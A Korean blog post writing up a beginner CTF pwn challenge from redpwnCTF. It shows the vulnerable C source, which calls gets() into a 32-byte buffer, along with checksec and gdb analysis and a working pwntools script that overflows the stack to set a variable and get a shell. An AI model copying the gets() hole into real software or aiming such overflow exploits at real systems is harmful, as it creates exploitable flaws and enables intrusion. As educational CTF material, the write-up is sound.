반응형
HackHiJack
HHJ
HackHiJack
전체 방문자
오늘
어제
  • 분류 전체보기 (99)
    • chatGPT (2)
    • pwn (2)
    • 워게임 (32)
    • Reversing (0)
    • Cryptography (12)
    • Web (6)
    • CTFs (16)
    • TryHackMe (6)
    • Go (5)
    • Forensics (18)

블로그 메뉴

  • 홈

공지사항

  • Welcome To HHJ's Blog

인기 글

태그

  • startup
  • rootme
  • forensic
  • pwnable.kr
  • ㅣ
  • shellctf
  • main
  • 해킹 #TryHackMe #WriteUp #ignite
  • package
  • Import
  • webhacking.kr
  • analyis
  • linkfile
  • main.go
  • func
  • go
  • 포렌식
  • 암호 #AES #드림핵
  • hacking
  • function

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
HackHiJack

HHJ

redpwnCTF - beginner-generic-pwn-number-0
CTFs

redpwnCTF - beginner-generic-pwn-number-0

2021. 7. 25. 21:05
728x90
반응형

오늘은 redpwnCTF 의 beginner-generic-pwn-number-0문제를 풀어볼것이다.

 

#include <stdio.h>
#include <string.h>
#include <stdlib.h>


const char *inspirational_messages[] = {
  "\"𝘭𝘦𝘵𝘴 𝘣𝘳𝘦𝘢𝘬 𝘵𝘩𝘦 𝘵𝘳𝘢𝘥𝘪𝘵𝘪𝘰𝘯 𝘰𝘧 𝘭𝘢𝘴𝘵 𝘮𝘪𝘯𝘶𝘵𝘦 𝘤𝘩𝘢𝘭𝘭 𝘸𝘳𝘪𝘵𝘪𝘯𝘨\"",
  "\"𝘱𝘭𝘦𝘢𝘴𝘦 𝘸𝘳𝘪𝘵𝘦 𝘢 𝘱𝘸𝘯 𝘴𝘰𝘮𝘦𝘵𝘪𝘮𝘦 𝘵𝘩𝘪𝘴 𝘸𝘦𝘦𝘬\"",
  "\"𝘮𝘰𝘳𝘦 𝘵𝘩𝘢𝘯 1 𝘸𝘦𝘦𝘬 𝘣𝘦𝘧𝘰𝘳𝘦 𝘵𝘩𝘦 𝘤𝘰𝘮𝘱𝘦𝘵𝘪𝘵𝘪𝘰𝘯\"",
};

int main(void)
{
  srand(time(0));
  long inspirational_message_index = rand() % (sizeof(inspirational_messages) / sizeof(char *));
  char heartfelt_message[32];
  
  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

  puts(inspirational_messages[inspirational_message_index]);
  puts("rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!");
  puts("can you write me a heartfelt message to cheer me up? :(");

  gets(heartfelt_message);

  if(inspirational_message_index == -1) {
    system("/bin/sh");
  }
}

위 코드 문제코드이다.

 

몇개의 문자열을 puts한 뒤 heartfelt_message를 입력받는다.

 

일단 checksec 를 이용하여 문제를 확인해보자.

 

CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

위처럼 nx bit가 켜져있다.

 

위처럼 대략 정보를 얻었으니 gdb를 이용하여 코드를 자세히 살펴보자.

 

일단 C코드에 inspirational_messsage_index가 -1이면 쉘이 실행된다.

그러면 inspirational_messsage_index를 오버플로우해서 -1값을 넣으면 된다.

 

일단 위처럼 실행된다.

 

gdb로 disas main을 하면 아래와 같다.

위를 보면 rbp-0x8랑 0xfffffffffffffff랑 비교한다.

 

그러면 rbp-0x8에 오버 플로우해서 0xffffffffffffffff를 넣어야한다.

r <<< $(python -c 'print "B"*40+"A"*8')

heartfelt_message가 32바이트이다. 그러면 rbp-0x8은 40바이트 부터 들어간다.

0x4012a5에 브레이크를 걸고 위코드 gdb에서 실행하면, rbp-0x8에 0x41414141이 들어가는 것을 확인할 수 있다.

이제 어디부터 rbp-0x8이 채워지는지 확인을 했으니, 이제 exploit code를 짜보자.

from pwn import *


p = process("./beginner-generic-pwn-number-0")
#p = remote("mc.ax",31199)
binsh = 0xffffffffffffffff

payload = b"\x90" * 40 
payload += p64(binsh)

p.recvuntil(":(")

p.sendline(payload)

p.interactive()

위 코드 내용을 보면 binsh라는 변수에 0xfffffffffffffff를 저장한다.

 

이제 payload를 짜면 nop을 40바이트 넣고, binsh변수를 넣으면 익스플로잇 코드가 완성된다.

 

:( 까지 받고 payload를 전송하면 /bin/sh가 실행된다.

 

exploit execute

 

728x90
반응형

'CTFs' 카테고리의 다른 글

redpwnCTF - orm-bad  (0) 2021.07.25
redpwnCTF - ret2generic-flag-reader  (0) 2021.07.25
S.H.E.L.L ctf - under Development  (0) 2021.06.07
S.H.E.L.L CTF - haxxor  (0) 2021.06.06
S.H.E.L.Lctf - EASY-RSA  (0) 2021.06.06
    'CTFs' 카테고리의 다른 글
    • redpwnCTF - orm-bad
    • redpwnCTF - ret2generic-flag-reader
    • S.H.E.L.L ctf - under Development
    • S.H.E.L.L CTF - haxxor
    HackHiJack
    HackHiJack
    $ whoami HHJ

    티스토리툴바